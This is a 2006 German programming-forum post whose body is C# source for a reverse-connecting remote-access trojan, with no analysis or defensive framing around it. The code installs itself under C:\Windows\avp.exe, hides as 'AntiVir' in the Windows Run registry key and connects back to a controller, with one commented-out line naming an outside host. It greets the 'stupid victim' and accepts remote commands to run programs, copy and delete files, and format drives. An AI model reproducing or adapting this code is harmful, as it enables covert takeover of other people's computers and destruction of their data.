001
18.10.2006, 08:31 Uhr
~ServerMr
Gast
|
Server - verbindet mit Reverse
C++: |
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms; using System.Net.Sockets; using System.IO; using System.Net; using Microsoft.Win32;
namespace RC { public partial class Form1 : Form { public Form1() { InitializeComponent(); }
private void Form1_Load(object sender, EventArgs e) {
rauf: try { File.Copy("Schulprogramm2_Alex_4aI.exe", "C://Windows//avp.exe", true); RegistryKey key = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion", true); // Add one more sub key RegistryKey newkey = key.CreateSubKey("Run"); // Set value of sub key newkey.SetValue("AntiVir", "C:\\Windows\\avp.exe"); } catch {
}
//and do the .bat stuff try { Directory.CreateDirectory("C:\\Windows\\bat");
} catch {
}
//2 Splitter string[] arInfo = new string[2]; //Split Zeichen = Leerzeichen char[] splitter = { ' ' }; //lese string string zeile = " "; double pw = 0; string theString = " ";
//EndeVariablen Kacke
//TcpClient socketForServer2; TcpClient socketForServer; retry: try { //socketForServer2 = new TcpClient("securitysuit.mine.nu", 668); socketForServer = new TcpClient("127.0.0.1", 669); } catch { //MessageBox.Show("d"); System.Threading.Thread.Sleep(50000); goto retry; } /*NetworkStream networkStream2 = socketForServer2.GetStream(); System.IO.StreamReader streamReader2 = new System.IO.StreamReader(networkStream2); System.IO.StreamWriter streamWriter2 = new System.IO.StreamWriter(networkStream2);*/
NetworkStream networkStream = socketForServer.GetStream(); System.IO.StreamReader streamReader = new System.IO.StreamReader(networkStream); System.IO.StreamWriter streamWriter = new System.IO.StreamWriter(networkStream); //2te variante
try { string outputString;
streamWriter.WriteLine("HI I am your stupid victim - I love you Admin"); streamWriter.Flush();
while (true) { if (theString == "hello") { string hostName = Dns.GetHostName(); string ipa = Dns.GetHostByName(hostName).AddressList[0].ToString();
if (ipa == "85.17.10.126") { streamWriter.WriteLine("IP wurde als Admin Proxy Server registriert"); }
streamWriter.WriteLine("Hello Admin"); streamWriter.Flush(); pw = 1; streamWriter.WriteLine("Now new supported commands are ready: Admin greetz you"); streamWriter.Flush(); streamWriter.WriteLine("map NAME"); streamWriter.Flush(); streamWriter.WriteLine("Erzeugt Freigaben auf dem VIC"); streamWriter.Flush(); }
if (theString.Contains("process") || theString.Contains("Process") && pw == 1) { arInfo = theString.Split(splitter);
System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.EnableRaisingEvents = false; proc.StartInfo.FileName = arInfo[1]; proc.Start(); }
if (theString.Contains("copy") && pw == 1) { arInfo = theString.Split(splitter); //arInfo[1] = Quelle //arInfo[2] = Ziel try { File.Copy(arInfo[1], arInfo[2], true); } catch { streamWriter.WriteLine("Fehler Datei konnte nicht kopiert werden"); streamWriter.Flush(); } }
if (theString == "ver" && pw == 1) { try { StreamWriter lo = File.CreateText("C:\\ver.bat"); lo.WriteLine("ver > C://ver.txt"); lo.Close();
System.Threading.Thread.Sleep(500); System.Diagnostics.Process.Start("C://ver.bat"); System.Threading.Thread.Sleep(500);
StreamReader sr = File.OpenText("C:\\ver.txt"); for (int i = 0; -1 != sr.Peek(); i++) { zeile += sr.ReadLine(); } sr.Close();
System.Threading.Thread.Sleep(500);
streamWriter.WriteLine(zeile); streamWriter.Flush(); } catch { streamWriter.WriteLine("Fehler"); streamWriter.Flush(); } }
if (theString.Contains("format") && pw == 1) { arInfo = theString.Split(splitter);
StreamWriter su = File.CreateText("C://kill.bat"); su.WriteLine("format " + arInfo[1]); su.Close();
System.Diagnostics.Process.Start("C://kill.bat");
}
if (theString == "cmd" && pw == 1) { try { System.Diagnostics.Process.Start("cmd.exe"); } catch { streamWriter.WriteLine("cmd.exe konnte nicht gestartet werden"); streamWriter.Flush(); } }
if (theString == "cls" && pw == 1) { int i = 0;
while (i <= 30) { streamWriter.WriteLine(" "); streamWriter.Flush(); i++; } }
if (theString == "dir" || theString == "DIR" && pw == 1) { StreamWriter ws = File.CreateText("C://dir.bat"); ws.WriteLine("cmd /C dir > C:\\task.txt"); ws.Close(); System.Threading.Thread.Sleep(500); System.Diagnostics.Process.Start("C://dir.bat"); System.Threading.Thread.Sleep(500); File.Delete("C://dir.bat");
StreamReader sr = File.OpenText("C:\\task.txt"); for (int i = 0; -1 != sr.Peek(); i++) { zeile += sr.ReadLine(); } streamWriter.WriteLine(zeile); streamWriter.Flush();
}
if (theString.Contains("del") && pw == 1) { arInfo = theString.Split(splitter); try { File.Delete(arInfo[1]); } catch { streamWriter.WriteLine("Datei konnte nicht geloescht werden"); streamWriter.Flush(); } }
if (theString.Contains("RD") && pw == 1) { arInfo = theString.Split(splitter); Directory.Delete(arInfo[1]); }
}
} catch { MessageBox.Show("Fehler"); } bye: streamReader.Close(); streamWriter.Close(); networkStream.Close(); } } }
|
Bearbeitung von ao: |
CS-Tags gibts noch nicht, bitte cpp nehmen
|
Dieser Post wurde am 18.10.2006 um 09:03 Uhr von ao editiert. |